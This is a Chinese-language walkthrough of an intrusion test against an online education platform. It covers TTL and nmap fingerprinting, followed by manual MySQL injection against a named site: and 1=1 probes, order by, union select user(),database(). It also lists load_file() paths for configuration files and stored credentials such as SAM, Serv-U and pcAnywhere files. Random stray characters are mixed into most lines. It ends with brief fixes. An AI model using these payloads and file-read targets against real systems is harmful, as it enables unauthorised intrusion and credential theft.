题记:
4 Z! w( i8 v0 l3 {" c0 e; H一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
/ M# Y# w+ F: W第一步:获取需要的信息7 V9 [- r. m* G+ J, S) f3 |6 L
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。" n) D9 B+ ^& k# I! l4 Z
注:以下为保护特用XXX代替敏感信息
2 w9 n2 P7 T& i. P& P; Q顺手先PING了一下他们的域名:
$ ~! s. t; q9 [: Jping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
% t1 e! U' @/ {6 _( B; i1 e% a, v64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms7 a3 c. q7 z( S8 x# `% m
顺便了解一下TTL,学好基础知识才能一路顺风:
% M; a; v+ L& _ y1 Y! n" l& f' \TTL:(Time To Live ) 生存时间
0 U1 k) \* u" @1 P+ e) i2 I8 h指定数据包被路由器丢弃之前允许通过的网段数量。
! I: {, X) L" n# FTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
; \5 t+ f/ [8 }6 j+ k7 P3 u7 Y I使用PING时涉及到的 ICMP 报文类型
. n% l! ^" z* H' Q8 U7 b& I一个为ICMP请求回显(ICMP Echo Request)
5 c4 u0 O* Y5 D- O. ^一个为ICMP回显应答(ICMP Echo Reply)2 Y" M' n8 I. C/ |0 Y- k2 R
TTL 字段值可以帮助我们识别操作系统类型。
' S3 a" L, C* @ jUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255$ Z7 l$ B9 @$ V; |8 W; b+ x
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
- H9 U6 v2 P) c2 U微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1283 F/ q& n. t6 P# ]$ o$ c
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
$ J; l8 E% u. W0 n, z* B! m* C# c% `: Q当然,返回的TTL值是相同的
% E7 s* H9 p/ Y( d但有些情况下有所特殊
! w- G% c' n4 l n1 yLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64' h! T) v' _3 a
FreeBSD 4.1, 4.0, 3.4;
8 w7 | e+ d% G: a. S3 hSun Solaris 2.5.1, 2.6, 2.7, 2.8;
r% t# @+ D' N& M6 K, K3 e kOpenBSD 2.6, 2.7,
! d) s3 J& z. m& k1 @0 g$ VNetBSD
4 @$ h% d c5 UHP UX 10.20
1 F" i! t+ i" bICMP 回显应答的 TTL 字段值为 255; m* \7 o- w4 H" A! P
Windows 95/98/98SE
7 o! o$ k9 l }. e; ?0 d: NWindows ME5 Q) h2 b& c, e/ @* Z. u; s
ICMP 回显应答的 TTL 字段值为 32
- I' f$ ^6 j* MWindows NT4 WRKS
! Q8 `' s% k) u j; w* hWindows NT4 Server k& j; ]: D# A9 Y: t4 r
Windows 20005 n; ?# o _- {+ @( F
Windows XP
$ D$ @0 p! E* D; O2 X6 O% ZICMP 回显应答的 TTL 字段值为 128
: A) q/ r2 P1 {$ M+ {+ ~1 ]这样,我们就可以通过这种方法来辨别操作系统
. N% J$ w$ F4 x8 [) gTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255. T$ P. z1 Z( @6 i
用NMAP扫描一下:
8 d( s9 m1 L M4 }2 E# unmap -sT -O XXX.XXX.XXX.XXX Y* R& s' q! J4 Y; [
如果没有装WinPcap则会弹出提示:) q% \4 }, k* M& o1 K( }: C) ?$ g
WARNING: Could not import all necessary WinPcap functions. You may need to upgr+ A1 ]2 v- L4 i* F. Z+ [! n
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(: [1 B* m- Q4 d
) mode — Nmap may not function completely, o' s* x& ~( ]# U* K
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
& R! ` F5 R, d5 t6 Z* o9 Q9 Zand iphlpapi.dll be installed. You seem to be missing one or both of these. Win, y3 K: Y& U9 ?8 f! F: V
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
0 w Y+ F e4 w! _: s n' Vd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v/ l( s$ w( I6 C. R4 {) x4 \
ersions, you may be able to take iphlpapi.dll from another system and place it i
5 F; s, F% F% K8 en your system32 dir (e.g. c:\windows\system32).$ X/ c+ Q+ a2 d
QUITTING!
& _% J0 Y# R7 ~; s* B; d4 M到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
& y& E* A z8 ` r$ o$ u# G安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
' Z" n4 n6 f0 eInteresting ports on XXX.XXX.XXX.XXX:
# Y/ p" K, B) q Q! c7 FNot shown: 986 closed ports! q9 k, H: |; `# u' B G
PORT STATE SERVICE8 } s- d% M) {! O. m& x
21/tcp open ftp
9 x U5 M, ?5 A8 |22/tcp open ssh( R5 Q" I6 @0 ]8 r4 u0 L3 p
23/tcp open telnet
0 N) G9 F5 W2 }! z( u80/tcp open http# x4 s' J2 w+ ]2 f- n
111/tcp open rpcbind" r2 i6 q5 ] W
135/tcp filtered msrpc6 q! q; c# D# u: j( n' \5 N1 P
139/tcp filtered netbios-ssn
# X1 X' H/ A: y445/tcp filtered microsoft-ds
; L% K- [6 r# S+ r' \513/tcp open login; F8 S* \8 @* A8 q
514/tcp open shell
$ [5 h/ F, ]& z5 _5 F9 a0 O$ a593/tcp filtered http-rpc-epmap& W- Y0 W$ A* r* ?; E
1720/tcp filtered H.323/Q.931
8 W8 @" r' `/ h, P, h6 I$ Z ]3306/tcp open mysql% h0 k; G5 n" M% P* u4 W: f
4444/tcp filtered krb524 J) u; | a- Q; R: C
Device type: WAP1 f% [3 B: e% l% C
Running: Linux 2.4.X' g2 @( E9 H7 y$ N+ N$ T- U c" R
OS details: DD-WRT (Linux 2.4.35s)" p% U$ }. Y% o) y! n7 p
Network Distance: 13 hops
: D5 j3 A- [5 z. W+ ^看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
% \' I" Y5 a1 y8 Y0 b- Q) Y$ s' k1 Ilogin as:
$ [0 }, o# `: d1 G, E9 {# fTelnet23端口也是开着的,用telnet 命令链接一下:+ T. o1 ]. q' O5 O6 s) M
telnet XXX.XXX.XXX.XXX! ]. ^" u5 d+ r
提示:
7 T* ^' E# o+ B9 l& B0 w% CRed Hat Enterprise Linux Server release 5.2 (Tikanga)
0 q2 D( n: K3 ?" y7 rKernel 2.6.18-92.el5PAE on an i686/ K% \, _ H4 _, E E
login:* N4 R: r$ [8 L
获取HTTP头信息:& Q- w H, u. |0 u: W
在本地执行如下PHP代码
5 Y9 u# L$ k" t9 _" u1 {+ @5 R<?php
- f/ F* T a8 m3 D* l2 S$ s7 `$url = ‘XXX.XXX.XXX.XXX’;
7 m& c) g5 A9 _" Fprint_r(get_headers($url));5 `4 O0 i, L" p7 @' ^; C4 M: a
print_r(get_headers($url, 1));( w7 e$ `* g2 o
?>' O3 d+ s- k7 h6 S5 E) b) I
将以上代码保存为PHP文件,执行:) F' h3 ?$ m( Y9 p0 D
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
5 z2 O# k, x: Q/ k6 l: E, z现在可以得出结论:
# `7 E. `) H8 \( e" W4 _系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)& U8 f5 y' A& n% Y6 n" L
内核版本:Kernel 2.6.18-92.el5PAE on an i686
# ^2 k1 K+ H( ?/ j. G9 EWEB服务器版本:nginx/0.7.617 o) P6 t6 T; c# m3 y( R0 j
第二步,开始测试寻找漏洞3 W, {4 S, R* H
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
' u0 d% W% _+ W! q5 M1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
9 v# s! u8 I4 q2、测试方法:在地址后加 and 1=1 和 and 1=2 测试. ^- g: }. _& s: U. O* O
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
4 G0 A8 ^3 S( A0 q: l' w% fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
9 u' v6 S' i( K3 b3 O- c: Q" N5 X恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
; V9 @0 x% [: A% U: b3、手工注入:! l( A7 h5 ~( K5 w4 G+ W, {
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。: ?1 p/ S) c% q% \
3.1 猜测当前表字段数
1 M5 W0 I4 H4 a. t* B6 khttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 105 ]/ q9 ^$ `+ C3 q+ m9 }9 a8 v. G. q
此处猜测有个简单的算法,都是有技巧的吗,呵呵
4 G& m2 T0 j) ]算法简单如下:3 X$ F! Y* l2 v4 R O _' Z1 [
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了; u- Q( C" @0 l$ W% f2 {; n9 T
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;. s; C% p/ Y) v
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
4 u) m9 ~) Z8 p- A4 ]2 x9 A& ?以此来判断,是否过界,配合取中算法猜出字段数。
2 x) R& o4 N! z* E; Y9 ~$ d举例:1 H$ L1 e5 {) x, m. g2 F( U
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
( p. u' q1 X* x4 t4 X/ A( ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误" \ U$ e; ], [7 J* l
此时3则为我们要找的字段数。
% \8 p6 l! I4 Q: q3.2 配合union联合查询字段在页面所位置
* s7 s5 _, V N$ m) n/ j我们已经知道了字段数为3,此时则可以做如下操作:6 Z; H F5 o8 {4 O' P0 J
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
0 I. Z( b$ B- ]8 k; @5 P) T# C, b" ~4 w% g4 p
这样就可以测试到哪些字段在页面上有所显示了,如图:
6 t8 l3 n( _# s3 |& C) R% m0 Z* A! r5 X6 y
3.3 查敏感信息' N* U) X# m3 ~! i7 A' r
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
; N! T' Q2 q( A6 T5 |! x% M* nhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()' D! t1 A2 y2 Z; B
3.3.1 先查数据库用户、数据库名,以备后用,如图:
5 v6 u% [: V8 ?) ]% g- Y; l: e- Z( R N) _1 G4 ?+ C& k% y( ?
得到数据库用户为root、数据库名为DBxx;& X' r7 t4 x4 j5 S
3.3.2 查配置文件
* ^8 `) x1 |7 N. l) ]+ A+ h1 C U6 o查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
7 m% a' \ F2 Z) l k查看文件有一定的条件限制:0 b" g x _1 d, W" X, a) w; d
欲读取文件必须在服务器上5 x) h: J( N+ ~8 C. t
必须指定文件完整的路径% ~$ l; _) s% i4 w
必须有权限读取并且文件必须完全可读
. M1 Y/ }0 A! ~7 C2 F0 T5 r3 U欲读取文件必须小于 max_allowed_packet+ n& S+ [6 | a* s
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。0 p6 q$ `' M1 v# p8 X4 g M
常用的一些:
; @. d/ F7 }7 G2 j5 u% y y3 v/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件3 u, H! _6 x @$ q; a" m
/usr/local/apache2/conf/httpd.conf
) y9 `- A# \& ~: \7 G" G+ B9 S7 W/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
% y; }3 D/ E; E1 j/usr/local/app/php5/lib/php.ini //PHP相关设置
9 b6 g" [# s9 |# C& x/etc/sysconfig/iptables //从中得到防火墙规则策略) h( P% p* }% K- k9 [4 q# i2 i" u& p
/etc/httpd/conf/httpd.conf // apache配置文件
: E7 N2 x) _9 U/etc/rsyncd.conf //同步程序配置文件. R; z6 b+ D; y8 n1 F: B/ j
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
4 _; @0 Z9 O# ~) ], P3 ~/etc/my.cnf //mysql的配置文件
9 d1 f- N+ E+ I' c/etc/redhat-release //系统版本
' U5 @8 n, ^$ {8 p* Q/etc/issue
: g: E3 Y2 z4 p0 l/etc/issue.net. z9 M2 G& c! [& t5 o
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
0 b3 ]# j S% s+ _; Z2 Sc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
+ k! ]- N; b U& X3 }1 u: ^c:\Program Files\Serv-U\ServUDaemon.ini6 _- ^4 _ {. n5 g( i c; O4 }
c:\windows\my.ini //MYSQL配置文件. }, O$ w# ]4 w( ~: r3 P
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
% K8 |( b b$ b+ W: q' z/ k. A+ b等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件," r# i% c1 N# g6 ]+ z, {
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
4 [( v( V& a6 k* }c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此" D6 C5 r- c" m' ^9 X
c:\Program Files\RhinoSoft.com\ServUDaemon.exe7 X l4 |! \" Q: P8 A5 W `
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
5 `. ^1 N W+ i& L& p7 p0 G7 z5 i0 \//存储了pcAnywhere的登陆密码4 l, _: ?+ r8 I! s3 W
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
* r8 K8 K/ _5 l& S. g* v+ o这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
0 t4 ?+ [. c p: w最后:防范措施
: g$ M; H( W! ~2 e, m( K7 `1、修复PHP注入漏洞;' |, q: s% |* `0 c9 e0 X) ]
2、Mysql使用普通权限的用户;
6 `7 S; O, e) t( B3、升级linux内核至最新版本; |